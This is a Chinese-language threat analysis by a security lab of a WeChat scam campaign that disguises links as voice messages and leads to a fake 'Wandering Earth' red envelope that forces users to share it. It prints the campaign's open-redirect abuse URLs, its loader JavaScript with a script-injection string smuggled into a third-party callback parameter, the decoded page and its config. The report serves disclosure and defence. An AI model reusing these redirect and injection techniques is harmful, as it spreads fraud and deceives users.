内容简介:近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。启明星辰ADLab迅速
作者:启明星辰ADLab
公众号: ADLab
一、事件简介
近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。
启明星辰ADLab迅速对此进行了分析,发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”,以链接的方式发送给用户和微信群,借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL,同时伪造了红包界面,隐藏了微信的菜单和按钮接口。页面后台多次跳转防封,并将用户的返回操作定向到新广告页面,前台则利用近期的热点电影“流浪地球”进行炒作,最终以红包提现的噱头引诱用户分享恶意广告,传播牟利,甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示:
二、技术分析
“语音”链接经过重定向和多次跳转后才加载至红包界面,我们猜测该团伙是考虑到腾讯的查封规则,为有效增加存活时间,首先通过知名域名的重定向来规避检查,其使用过的可重定向URL如下:
- http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
- https://as.weixin.qq.com/cgi-bin/amazing?url=
- https://36kr.com/jump?url=(失效)
- https://bird.sns.iqiyi.com/jump?jump_url=
重定向、多次跳转和JS脚本执行的主要流程如下(实际跳转可能随时变化):
下面针对其中的主要过程进行分析阐释。
2.1 链接重定向
黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接,当用户点击“语音”链接时会被重定向,数据包请求内容如下:
GET /remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1 Host: rd.go.10086.cn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding:gzip, deflate Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connection:keep-alive
数据包回应内容如下:
HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Feb 2019 06:26:40 GMT Content-Type: text/html Content-Length: 0 Cache-Control: no-cache Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 Proxy-Connection: keep-alive
2.2 链接跳转
重定向目标地址链接不固定,我们发现的两个链接如下:
- http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
- http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052
以链接1为例,请求目标为image/svg+xml类型,请求数据内容如下:
GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1 Host qnimg.9igcw.com Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding gzip, deflate Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connection keep-alive
数据包回应Headers内容如下:
HTTP/1.1 200 OK Server: Tengine Content-Type: image/svg+xml Content-Length: 285 Date: Thu, 28 Feb 2019 04:48:00 GMT Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Log, X-Reqid Access-Control-Max-Age: 2592000 Cache-Control: public, max-age=31536000 Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2 Content-Transfer-Encoding: binary Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l" Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT X-Log: redis.g;DC;IO:1 X-M-Log: QNM:xs460;QNM3 X-M-Reqid: -XEAAFpARvTCbYcV X-Qiniu-Zone: 0 X-Qnm-Cache: Hit X-Reqid: IFUAAF3TM4jTYIcV X-Svr: IO Ali-Swift-Global-Savetime: 1551329280 Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0] Age: 5918 X-Cache: HIT TCP_HIT dirn:11:386590902 X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT X-Swift-CacheTime: 2592000 Timing-Allow-Origin: * EagleId: 73e7282715513351989788044e Proxy-Connection: keep-alive
其中数据包回应内容包含新链接至 https://api.meipaifan.cn/j 。
2.3 JavaScript脚本
请求URL: https://api.meipaifan.cn/j 为JavaScript脚本,内容如下:
var ua = navigator.userAgent; if (ua.indexOf("MicroMessenger") > 0) { //判断是否为微信浏览器 var noreferrer = true; try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {}; if (top != window || !document.body){ top.location.href = 'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052'; } else{ var a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click(); } };
JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型,若不是微信浏览器返回404。
若为微信浏览器,则继续判断页面为前端或后端,再分别依据两种策略进行后台访问(访问链接可变如: https://tj.esf.fang.com )暗刷流量,在应答的数据中包含Script脚本指向另外一个新链接(JS脚本),如下图所示:
新链接(api.51bjbj.com/j?xload=1)通过脚本解码出网页内容:
解码后的网页内容如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>...</title> <!--庆祝拼多多营收1000亿美元送红包--> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/> <meta name="format-detection" content="telephone=no"> <meta name="applicable-device" content="mobile"> <link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css"> <script> window.focusLocation = {}; </script> </head> <body> <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script> <script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script> <script> // location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3'; M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date())); </script> </body> </html>
该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本,其中core.js包含自定义的各种功能回调函数如:loadJS、hideShare和setBack等。
https://api.51bjbj.com./config?var=window.data&sign=0
则包含自定义的数据结构,指向的JS脚本如下:
window.data = { "ad": { "app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5", "timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png", "title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a" }, "attached": { "case": "7675-hb", "signmode": "jsb", "back_api": "https://zjygx.com/backup/args/bg_back.php", "ad_share": { "pyq": [0, 0], "qun": [0, 0, 0, 0, 0, 0] }, "timeline_ad": true, "player": { "delaytime": 538, "vid": "c0763pr60i5" }, "needWhite": false, "group_ad": true, "iosGoAdUrl": "", "eqc": { "s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js", "ib": 6, "i3": 1, "ic": 4, "d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js" } }, "cnzz": "", "hm": "0c1ecc9c91cfd52db097fbe47eb75864", "to_timeline": { "redirect": "", "ad_weight": "100", "ad_id": "9986", "ad": false, "ok_msg": "", "title": "{fuck}{fuck}", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "landing": "", "link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052", "desc": "" }, "to_group": { "redirect": "", "link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "title": "{fuck}{fuck}", "desc": "{fuck}\u2709", "back_url": "" } }
数据中“img”字段指向了恶意传播的URL伪装图片:
在使用loadJs()加载文件后, https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185
内含的JS脚本会执行红包界面的逻辑内容,简要示例如下:
“<p style="font-size: 24px;">庆祝流浪地球电影票房破40亿</p>”
即是前端恶意推广的红包标题。
该脚本还包含了goShare函数进行分享操作如图:
其中, https://api.51bjbj.com./getshare
请求将链接至http://weixin.site.eqxiu.com/...(不固定),并加载JS脚本。如图:
https://s.51bjbj.com./jssdk/shareurl?_c=
则指向分享页面的网页来源如: obs-cn-shenzhen.yun.pingan.com
。
此外我们注意到,作者在前端隐藏了微信的官方菜单接口。如图:
若用户将“红包”分享至群聊,则会生成多种形式的伪装界面,目前已知的形式分别为“群邀请”、“语音”和“广告链接”,如图所示:
当用户点击分享后的链接时,依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作,用户在尝试返回时页面会轮循刷新广告。如图所示:
链接通过重定向和跳转最终定位到广告:
部分恶意广告原始链接如下:
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531
三、溯源关联
我们尝试添加了几位“老中医”和“投资导师”,画风是这样的:
基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为,对方往往非常耐心,环环相诱,用户稍不留意就有可能落入圈套,造成财产损失。
此外,我们通过分析 https://api.51bjbj.com./config?var=window.data&sign=0
返回的JS脚本,在其接口数据中发现了CNZZ数据统计请求的链接。如图:
https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。
可见该团伙年初便开始了恶意活动,不过其旧版广告链接已被查封。在进一步抓包分析后,我们发现重定向后的链接请求为:
Location:
请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。
灰产团伙有可能参照过该厂商的红包模式,并借助其URL实现了微信客户端重定向跳转( https://bird.sns.iqiyi.com/jump?jump_url=
)。值得注意的是,此类厂商提供的会员红包奖励往往需要授权登录账号,这给灰产团伙创造了很好的钓鱼机会,通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘,今天可以推送恶意广告,明天就能随时变身网络钓鱼。
四、总结分析
综上分析,当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击,利用重定向和多级跳转规避检查,再结合逼真的“红包”交互攻击用户,利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假,极易沦为灰产的传播工具,不仅自身可能遭受财产损失,还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕,防微杜渐,持续警惕灰产的各类恶意活动,共同维护好网络秩序。
启明星辰积极防御实验室(ADLab)
ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员,“黑雀攻击”概念首推者。截止目前,ADLab已通过CVE累计发布安全漏洞近1000个,通过 CNVD/CNNVD累计发布安全漏洞近500个,持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 上映 10 天,票房就突破 10 亿的《海王》真的有那么好看?
- 上映4天,票房7.4亿的《海王》,用Python分析数据看大片!
- Neo4j入门之中国电影票房排行浅析
- 高并发-「抢红包案例」之一:SSM环境搭建及复现红包超发问题
- 用 Python 实现微信自动化抢红包,再也不用担心抢不到红包了
- PHP 实现微信红包拆分算法
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Building Social Web Applications
Gavin Bell / O'Reilly Media / 2009-10-1 / USD 34.99
Building a social web application that attracts and retains regular visitors, and gets them to interact, isn't easy to do. This book walks you through the tough questions you'll face if you're to crea......一起来看看 《Building Social Web Applications》 这本书的介绍吧!